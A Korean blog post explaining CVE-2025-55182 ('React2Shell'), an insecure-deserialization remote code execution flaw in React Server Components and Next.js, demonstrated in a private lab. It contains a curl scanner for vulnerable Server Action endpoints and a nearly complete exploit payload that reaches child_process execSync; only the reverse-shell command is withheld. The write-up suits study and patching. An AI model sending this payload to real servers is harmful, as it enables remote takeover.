RCC vs RSC
동작 방식
| RCC (Client Component) | RSC (React Server Components) |
| 1. 클라이언트에서 서버로 요청 2. 빈 HTML + JavaScript 파일 다운로드 3. JavaScript가 실행되면서 화면이 나타남 |
1. 클라이언트에서 서버로 요청 2. 서버가 Root Component Elemnet를 JSON으로 직렬화함 3. 브라우저가 React Tree를 재구조화함 |
RSC는 2020년에 출시된 기능이며, 이전까지는 모두 Client Component 방식으로 react에서 애플리케이션을 랜더링했다.
RSC을 통해 데이터를 가져오는 로직을 서버 단으로 이동시켜, 요청에 대한 지연을 줄이고 성능을 개선헸다.
성능을 개선하기 위한 새로운 방식이었지만, 클라이언트의 요청을 서버가 검증 없이 무조건 신뢰하여 취약점이 발생했다.
React2Shell 취약점
| CVE-2025-55182 | 10.0 CRITICAL |
서버 단에서 역직렬화 과정 중에 객체 참조를 재구성하도록 유도하여 공격자가 의도한 위험한 동작을 수행할 수 있다.
서버가 외부 입력을 단순히 구조로 복구하는 과정에서 동적 모듈 접근이나 함수 호출로 이어지게 한다.
즉, 역직렬화 로직이 신뢰하지 않은 입력을 그대로 실행 가능 형태로 복원하면, 서버 프로세스 내에서 위험한 모듈(예: 시스템 명령을 실행하는 모듈)에 접근할 수 있게 되고, 그 결과 원격에서 명령이 실행될 수 있게된다.
정상적인 요청/응답 과정
데이터를 서버에 요청 -> 예상된 모듈/함수만 호출 -> 직렬화하여 클라이언트로 보냄
공격 요청/응답 과정
공격자가 조작한 데이터를 서버에 요청 -> 서버가 받은 요청을 역직렬화 -> 예상치 못한 모듈/함수 호출 -> RCE 등 공격
Exploit 실습
⚠️ 본 게시글에 포함된 취약점 분석 및 PoC 코드는 교육·연구 목적으로만 제공됩니다.
해당 내용을 허가되지 않은 시스템, 타인의 서버, 서비스, 네트워크 등에 무단으로 적용하는 행위는 명백한 불법입니다.
본 게시글의 저자는 제공된 정보를 악용하여 발생하는 모든 법적·행정적 책임을 지지 않습니다.
실제 환경에서 테스트를 진행하려는 경우 반드시 본인이 소유하거나 명확한 허가를 받은 시스템에서만 수행하시기 바랍니다.
| 공격 대상: 192.168.231.129 | 공격자: 192.168.231.128 |
구축한 웹 페이지가 공격자pc에서 잘 접속되는지 확인한다.

먼저 어떤 경로에서 decodeReply(Next.js RSC 해석기)를 사용하는지 스캔한다.
decodeReply를 사용하는 경로에서만 SRC 액션 호출을 통해 공격을 수행할 수 있다.
스캔에 사용된 코드 일부다.
RSC/액션 특유의 응답 헤더를 확인하는 방식이다.
resp_headers=$(curl -s -D - -o /dev/null -X POST "$url" \
-H "Next-Action: probe-$(date +%s%N)" \
-F "0=@/dev/null;type=application/octet-stream" \
-F "1=@/dev/null;type=application/octet-stream" \
--max-time 10)
echo "$resp_headers" | grep -i "x-nextjs-action-not-found" >/dev/null && { echo "ACTION-ENDPOINT (action-not-found)"; continue; }
echo "$resp_headers" | grep -i "text/x-component" >/dev/null && { echo "RSC Content-Type"; continue; }
echo "$resp_headers" | grep -i "x-nextjs-postponed" >/dev/null && { echo "RSC postponed"; continue; }
echo "$resp_headers" | grep -i "x-nextjs-prerender" >/dev/null && { echo "PRERENDER/CACHED page"; continue; }
- x-nextjs-action-not-found가 뜨면 → RSC Action 루틴으로 요청이 도달했음(단, ID 없음).
- text/x-component가 Content-Type으로 오면 → RSC payload를 반환하는 엔드포인트(또는 RSC 경로).
- x-nextjs-prerender나 x-nextjs-cache: HIT이면 → 정적 페이지가 서빙되고 있음(액션 미도달).
아래 스캔 결과를 통해 최상단 경로에서 공격이 가능한 것을 확인했다.

익스플로잇 내용이다.
(혹시 몰라서 쉘 연결 명령어는 비공개했다. 간단한 코드지만 누군가 진짜 서버 대상으로 따라할까봐...)
서버의 RSC/Server-Action 파서는 multipart로 들어온 필드들을 청크(조각) 객체로 복원하고, 그 청크들의 필드(then, status, value, _response 등)를 보고 어떤 처리 루틴(then 호출, 모델 복원, 핸들러 호출 등)을 단계적으로 실행한다.
익스플로잇은 이 처리 순서를 역이용해서 파서가 원치 않는 함수(예: 동적 코드 실행자) 를 참조하게 만든다.
command="공격자 서버에 연결하는 코드"
cat > payload.json <<EOF
{
"then": "\$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\": \\"\$B0\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('${command}');",
"_formData": {
"get": "\$1:constructor:constructor"
}
}
}
EOF
echo -n '"$@0"' > payload2.txt
curl -X POST http://192.168.231.129:3000 -H "Next-Action: dontcare" \
-F "0=<payload.json" -F '1=<payload2.txt' \
--max-time 2 2>/dev/null || true
1) payload.json
- 클라이언트가 보낸 각 multipart 필드는 파서에서 **청크 인덱스(0,1,2...)**로 매핑돼서 객체가 된다.
- 파서는 이 청크 객체의 속성을 보고, “이건 컴포넌트 자식이다 / 이건 thenable이다 / 이건 이미 준비된 모델이다” 를 판단한다.
- 공격자는 파서가 기대하는 형태(필드 이름·값 포맷)를 흉내 낸 JSON 블록을 만들어 넣음.→ 파서는 “정상”으로 믿고 내부 처리 체인으로 보낸다.
2) "then"
- JS/React/RSC 내부는 thenable(then을 가진 객체)을 발견하면 그 객체를 호출해서 비동기 흐름을 이어간다.
- 즉 then이 있으면 파서는 obj.then(resolve, reject) 형태로 호출할 가능성이 크다.
- 공격자는 이 점을 이용해 가짜 객체를 ‘실제로 호출되는’ 위치로 끌어들이는 트릭을 쓴다.
→ 실제로는 그 then 속성이 프로토타입 체인을 통해 “진짜 함수”로 연결되도록 유도하는 식.
3) "status": "resolved_model" — 파서에게 보내는 신호
- 파서 내부에는 상태(state) 기반 처리 로직이 있다. 예: "pending", "resolved_model" 등.
- resolved_model이면 파서는 즉시 initialize/revive 경로로 들어가서 value 등을 해석한다.
- 공격자는 이 값을 이용해 파서가 곧바로 내부 처리 함수(모델 복원)를 실행하게 만든다.
4) "value": "{\"then\":\"$B0\"}" — 중첩된 토큰의 역할
- $B0 같은 표기는 파서 내부의 “특수 핸들러”를 호출하도록 설계된 토큰이다.
- 파서는 value 문자열을 읽다가 $B...를 만나면 어떤 동작(handler)을 호출해서 값을 해결한다.
예: $Bid → response._formData.get(response._prefix + id) 같은 호출로 이어질 수 있다(구현에 따라 다름). - 즉 value는 중첩 호출(then → value 안 토큰 → 핸들러) 을 유도하는 장치.
5) "_response": { "_prefix": "...", "_formData": { "get": "..." } } — 공격자가 덮어쓰는 슬롯들
- _prefix는 나중에 코드 조각이나 문자열을 이어붙이는 용도로 쓰이는 자리일 수 있다.
예: 파서가 prefix + id 를 조합해서 어떤 키를 만들고, 그것을 get()에 넘기는 흐름이 존재할 수 있음. - _formData.get에 들어가는 값은 "어떤 객체의 프로퍼티를 따라가서 최종 값을 얻는지" 를 나타낼 수 있다.
예: $1:constructor:constructor 같은 표기는 “1번 필드의 constructor의 constructor를 참조하라”는 의미로 해석될 수 있음 - 공격자는 이 슬롯들에 조작된 문자열/토큰을 넣어서 파서가 값을 조회할 때 의도한 객체(예: Function 생성자)를 반환하게 유도한다.
6) echo -n '"$@0"' > payload2.txt
- $@0는 파서 구현에 따라 “0번 청크 자체(원본 객체)에 대한 참조”를 의미할 수 있음.
- 이렇게 하면 then에서 $1:__proto__:then 같은 식으로 “프로토타입 체인을 통한 then 연결”이 가능해짐.
- 자기참조는 가짜 청크를 ‘진짜 청크처럼’ 작동하게 만들기 위한 필수 메커니즘이다.→ 파서가 ‘이건 이미 준비된 조각’으로 취급하게 하려면 참조 체인이 필요할 때가 많다.
curl -X POST ... -H "Next-Action: dontcare" -F "0=<payload.json" -F '1=<payload2.txt' ...
→ 위의 데이터들을 multipart로 묶어 서버에 전송. Next-Action 같은 헤더는 Next.js 스타일의 서버 액션/역직렬화 루틴을 트리거하는 데 쓰이는 헤더(구체적 동작은 서버 버전/설정에 따라 다름)
실행하면 리버스쉘 연결에 성공한다!


참고
https://github.com/msanft/CVE-2025-55182
GitHub - msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182
Explanation and full RCE PoC for CVE-2025-55182. Contribute to msanft/CVE-2025-55182 development by creating an account on GitHub.
github.com
CVE-2025-55182 (React2Shell): Remote code execution in React Server Components and Next.js | Datadog Security Labs
Learn more about the CVE-2025-55182 vulnerability affecting React Server Components and affecting Next.js.
securitylabs.datadoghq.com
'웹 해킹 > 실무' 카테고리의 다른 글
| 버프 스위트(Burp Suite Pro) Collaborator 사용법 (XSS) (0) | 2025.03.31 |
|---|---|
| XSS 필터링 우회4 (0) | 2025.03.11 |
| XSS 필터링 우회3 (0) | 2025.03.10 |
| XSS 필터링 우회2 (0) | 2025.03.10 |
| XSS 필터링 우회 (0) | 2025.03.07 |






















